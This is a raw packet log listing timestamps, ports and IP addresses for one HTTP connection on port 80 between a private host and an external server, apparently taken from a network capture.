Nov 24, 2022 16:57:36.954746962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954770088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954792023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954808950 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.954814911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954824924 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.954952002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.954972982 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955012083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955018044 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955051899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955075979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955096960 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955099106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955112934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955127001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955149889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955168009 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955171108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955194950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955215931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955239058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955244064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955255985 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955265999 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955288887 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955303907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955312014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955334902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955358028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955379963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955389977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955403090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955414057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955427885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955451012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955456018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955473900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955491066 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955497980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955521107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955535889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955543995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955560923 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955568075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955578089 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955591917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955614090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955631018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955637932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955661058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955682039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955694914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955703974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955718994 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.955957890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.955981016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956002951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956022978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956024885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956044912 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956051111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956074953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956095934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956113100 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956121922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956146955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956146002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956167936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956191063 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956211090 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956212044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956231117 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956235886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956259012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956280947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956299067 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956302881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956321955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956327915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956351042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956367970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956449986 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956578970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956605911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956624985 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956631899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956660986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956686974 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956712961 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956717968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956731081 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956741095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956768990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956794024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956798077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956809998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956821918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956835032 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956850052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956876993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956902981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956913948 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956929922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956943989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.956958055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.956984997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957010984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957024097 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957037926 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957046986 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957065105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957091093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957118988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957130909 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957146883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957155943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957175016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957201958 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957227945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957240105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957252026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957269907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957279921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957307100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957319021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957334995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957361937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957386017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957387924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957397938 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957417011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957427025 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957443953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957494020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957521915 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957535028 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957571983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957603931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957643032 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957652092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957681894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957691908 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957710028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957736969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957751036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957762957 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957791090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957815886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957829952 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957844019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957855940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957916021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.957933903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957961082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957987070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.957998037 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.958013058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958014965 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.958025932 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.958039999 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958065033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958089113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958102942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.958115101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958122969 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.958146095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958170891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958197117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958221912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958249092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958272934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.958276033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958272934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.958303928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958331108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958358049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958358049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.958358049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.958390951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958435059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958476067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958496094 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.958507061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958523989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.958523989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.958534002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958544970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.958626986 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.958803892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958842993 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.958858967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958936930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958964109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.958991051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959002018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959026098 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959069967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959096909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959125996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959136963 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959153891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959181070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959207058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959218025 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959239006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959252119 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959280014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959306002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959316969 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959333897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959358931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959386110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959397078 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959414959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959425926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959441900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959470034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959501028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959506989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959527016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959553003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959563971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959578037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959587097 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959605932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959630013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959649086 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959656000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959681034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959706068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959718943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959731102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959738016 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959757090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959781885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959803104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959820032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959822893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959839106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959841013 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959856987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959873915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959891081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959892035 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959908962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959917068 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959927082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959945917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959949970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.959964037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959981918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.959999084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960000992 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960016966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960021973 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960036039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960052967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960055113 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960072041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960089922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960108042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960109949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960128069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960130930 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960145950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960164070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960186005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960195065 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960205078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960215092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960222960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960241079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960244894 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960259914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960278034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960297108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960304022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960314989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960331917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960356951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960381031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960392952 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960406065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960413933 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960432053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960458040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960469007 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960484028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960505009 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960521936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960537910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960541010 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960556030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960560083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960575104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960598946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960618973 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960624933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960639000 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960652113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960678101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960690022 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960700035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960717916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960735083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960753918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960755110 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960774899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960882902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960902929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960933924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960944891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.960952997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960971117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960988045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.960995913 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961007118 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961019039 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961050987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961050987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961080074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961122036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961155891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961180925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961205959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961220980 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961230040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961255074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961278915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961302996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961306095 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961318970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961328983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961353064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961379051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961390018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961402893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.961412907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.961426973 CET	80	49713	66.235.200.147	192.168.2.3
